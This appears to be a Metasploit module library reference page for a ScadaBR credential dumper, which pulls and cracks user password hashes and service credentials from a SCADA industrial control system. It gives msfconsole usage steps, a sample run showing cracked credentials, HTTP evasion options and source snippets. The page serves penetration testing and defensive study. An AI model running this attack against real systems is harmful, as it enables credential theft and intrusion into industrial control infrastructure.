ScadaBR Credentials Dumper - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/scadabr_credential_dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: ScadaBR Credentials Dumper
Module: auxiliary/admin/http/scadabr_credential_dump
Source code: modules/auxiliary/admin/http/scadabr_credential_dump.rb
Disclosure date: 2017-05-28
Last modification time: 2021-02-22 15:51:02 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module retrieves credentials from ScadaBR, including service credentials and unsalted SHA1 password hashes for all users, by invoking the EmportDwr.createExportData DWR method of Mango M2M which is exposed to all authenticated users regardless of privilege level. This module has been tested successfully with ScadaBR versions 1.0 CE and 0.9 on Windows and Ubuntu systems.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/scadabr_credential_dump
msf auxiliary(scadabr_credential_dump) > show targets
    ... a list of targets ...
msf auxiliary(scadabr_credential_dump) > set TARGET target-id
msf auxiliary(scadabr_credential_dump) > show options
    ... show and set options ...
msf auxiliary(scadabr_credential_dump) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module retrieves credentials from ScadaBR, including service credentials and unsalted SHA1 password hashes for all users, by invoking the EmportDwr.createExportData DWR method of Mango M2M which is exposed to all authenticated users regardless of privilege level.

ScadaBR is a SCADA (Supervisory Control and Data Acquisition) system with applications in Process Control and Automation, being developed and distributed using the open source model.

This module has been tested successfully with ScadaBR versions 1.0 CE and 0.9 on Windows and Ubuntu systems.

Verification Steps


Download:

Metasploit:

  1. Start msfconsole
  2. Do: use auxiliary/admin/http/scadabr_credential_dump
  3. Do: set rhosts [IP]
  4. Do: set username [USERNAME]
  5. Do: set password [PASSWORD]
  6. Do: run
  7. You should get credentials

Options


USERNAME

The username for the application (default: admin)

PASSWORD

The password for the application (default: admin)

PASS_FILE

Wordlist file to crack password hashes (default: ./data/unix_passwords.txt)

Scenarios


msf6 > use auxiliary/admin/http/scadabr_credential_dump 
msf6 auxiliary(admin/http/scadabr_credential_dump) > set rhosts 172.16.191.194
rhosts => 172.16.191.194
msf6 auxiliary(admin/http/scadabr_credential_dump) > set username admin
username => admin
msf6 auxiliary(admin/http/scadabr_credential_dump) > set password admin
password => admin
msf6 auxiliary(admin/http/scadabr_credential_dump) > run
[*] Running module against 172.16.191.194

[+] 172.16.191.194:8080 Authenticated successfully as 'admin'
[+] 172.16.191.194:8080 Export successful (4735 bytes)
[+] Config saved in: /root/.msf4/loot/20210220192214_default_172.16.191.194_scadabr.config_546879.txt
[+] Found 5 users
[*] Found weak credentials (admin:admin)
[*] Found weak credentials (operator:a)
[*] Found weak credentials (test:sunshine)
[*] Found weak credentials (user:A)
[*] Found weak credentials (zxcv:zxcv)

ScadaBR User Credentials
========================

 Username  Password  Hash (SHA1)                               Role   E-mail
 --------  --------  -----------                               ----   ------
 admin     admin     d033e22ae348aeb5660fc2140aec35850c4da997  Admin  [email protected]
 operator  a         86f7e437faa5a7fce15d1ddcb9eaeaea377667b8  User   operator@localhost
 test      sunshine  8d6e34f987851aa599257d3831a1af040886842f  User   test@localhost
 user      A         6dcd4ce23d88e2ee9568ba546c007c63d9131c1b  Admin  user@localhost
 zxcv      zxcv      9878e362285eb314cfdbaa8ee8c300c285856810  User   zxcv@localhost

[+] Found SMTP credentials: smtptestuser:[email protected]:25
[+] Found HTTP proxy credentials: proxytestuser:[email protected]:8080

ScadaBR Service Credentials
===========================

 Service     Host       Port  Username       Password
 -------     ----       ----  --------       --------
 HTTP proxy  127.0.0.1  8080  proxytestuser  proxytestpass
 SMTP        127.0.0.1  25    smtptestuser   smtptestpass

[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/scadabr_credential_dump) > creds
Credentials
===========

host            origin          service          public    private   realm  private_type  JtR Format
----            ------          -------          ------    -------   -----  ------------  ----------
172.16.191.194  172.16.191.194  8080/tcp (http)  admin     admin            Password
172.16.191.194  172.16.191.194  8080/tcp (http)  operator  a                Password
172.16.191.194  172.16.191.194  8080/tcp (http)  test      sunshine         Password
172.16.191.194  172.16.191.194  8080/tcp (http)  user      A                Password
172.16.191.194  172.16.191.194  8080/tcp (http)  zxcv      zxcv             Password

msf6 auxiliary(admin/http/scadabr_credential_dump) > 

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Msfconsole Usage


Here is how the admin/http/scadabr_credential_dump auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/scadabr_credential_dump

msf6 auxiliary(admin/http/scadabr_credential_dump) > show info

       Name: ScadaBR Credentials Dumper
     Module: auxiliary/admin/http/scadabr_credential_dump
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-05-28

Provided by:
  bcoles <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting                                                                 Required  Description
  ----       ---------------                                                                 --------  -----------
  PASSWORD   admin                                                                           yes       The password for the application
  PASS_FILE  /opt/metasploit-framework/embedded/framework/data/wordlists/unix_passwords.txt  no        Wordlist file to crack password hashes
  Proxies                                                                                    no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                                                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      8080                                                                            yes       The target port (TCP)
  SSL        false                                                                           no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /ScadaBR                                                                        yes       The base path to ScadaBR
  USERNAME   admin                                                                           yes       The username for the application
  VHOST                                                                                      no        HTTP server virtual host

Description:
  This module retrieves credentials from ScadaBR, including service 
  credentials and unsalted SHA1 password hashes for all users, by 
  invoking the `EmportDwr.createExportData` DWR method of Mango M2M 
  which is exposed to all authenticated users regardless of privilege 
  level. This module has been tested successfully with ScadaBR 
  versions 1.0 CE and 0.9 on Windows and Ubuntu systems.

Module Options


This is a complete list of options available in the admin/http/scadabr_credential_dump auxiliary module:

msf6 auxiliary(admin/http/scadabr_credential_dump) > show options

Module options (auxiliary/admin/http/scadabr_credential_dump):

   Name       Current Setting                                                                 Required  Description
   ----       ---------------                                                                 --------  -----------
   PASSWORD   admin                                                                           yes       The password for the application
   PASS_FILE  /opt/metasploit-framework/embedded/framework/data/wordlists/unix_passwords.txt  no        Wordlist file to crack password hashes
   Proxies                                                                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                                                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080                                                                            yes       The target port (TCP)
   SSL        false                                                                           no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /ScadaBR                                                                        yes       The base path to ScadaBR
   USERNAME   admin                                                                           yes       The username for the application
   VHOST                                                                                      no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/scadabr_credential_dump auxiliary module:

msf6 auxiliary(admin/http/scadabr_credential_dump) > show advanced

Module advanced options (auxiliary/admin/http/scadabr_credential_dump):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/scadabr_credential_dump module can do:

msf6 auxiliary(admin/http/scadabr_credential_dump) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/scadabr_credential_dump auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/scadabr_credential_dump) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> Connection failed


Here is a relevant code snippet related to the "<PEER> Connection failed" error message:

50:	        'password' => Rex::Text.uri_encode(pass, 'hex-normal')
51:	      }
52:	    })
53:	
54:	    unless res
55:	      fail_with(Failure::Unreachable, "#{peer} Connection failed")
56:	    end
57:	
58:	    if res.code == 302 && !res.headers['location'].include?('/login.htm') && res.get_cookies =~ /JSESSIONID=([^;]+);/
59:	      @cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first
60:	      print_good("#{peer} Authenticated successfully as '#{user}'")

<PEER> Authentication failed


Here is a relevant code snippet related to the "<PEER> Authentication failed" error message:

57:	
58:	    if res.code == 302 && !res.headers['location'].include?('/login.htm') && res.get_cookies =~ /JSESSIONID=([^;]+);/
59:	      @cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first
60:	      print_good("#{peer} Authenticated successfully as '#{user}'")
61:	    else
62:	      fail_with(Failure::NoAccess, "#{peer} Authentication failed")
63:	    end
64:	  end
65:	
66:	  def export_data
67:	    params = [

<PEER> Connection failed


Here is a relevant code snippet related to the "<PEER> Connection failed" error message:

100:	      'ctype' => 'text/plain',
101:	      'data' => params.join("\n")
102:	    })
103:	
104:	    unless res
105:	      fail_with(Failure::Unreachable, "#{peer} Connection failed")
106:	    end
107:	
108:	    config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first
109:	
110:	    unless config_data

<PEER> Export failed


Here is a relevant code snippet related to the "<PEER> Export failed" error message:

106:	    end
107:	
108:	    config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first
109:	
110:	    unless config_data
111:	      fail_with(Failure::UnexpectedReply, "#{peer} Export failed")
112:	    end
113:	
114:	    print_good("#{peer} Export successful (#{config_data.length} bytes)")
115:	
116:	    config_data

<PEER> Could not parse exported settings as JSON.


Here is a relevant code snippet related to the "<PEER> Could not parse exported settings as JSON." error message:

143:	    print_good("Config saved in: #{path}")
144:	
145:	    begin
146:	      json = JSON.parse(config.gsub(/\\r/, '').gsub(/\\n/, '').gsub(/\\"/, '"').gsub(/\\'/, "'").gsub(/\\\\/, '\\').gsub(/\\\r?\n/, ''))
147:	    rescue StandardError
148:	      fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.")
149:	    end
150:	
151:	    service_data = {
152:	      address: rhost,
153:	      port: rport,

Found no user data


Here is a relevant code snippet related to the "Found no user data" error message:

163:	    )
164:	
165:	    users = json['users']
166:	
167:	    if users.empty?
168:	      print_error('Found no user data')
169:	    else
170:	      print_good("Found #{users.length} users")
171:	      @wordlist = *'0'..'9', *'A'..'Z', *'a'..'z'
172:	      @wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr', datastore['PASSWORD']])
173:	      load_wordlist(datastore['PASS_FILE']) unless datastore['PASS_FILE'].nil?

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See Also


Check also the following modules related to this module:

Authors


bcoles

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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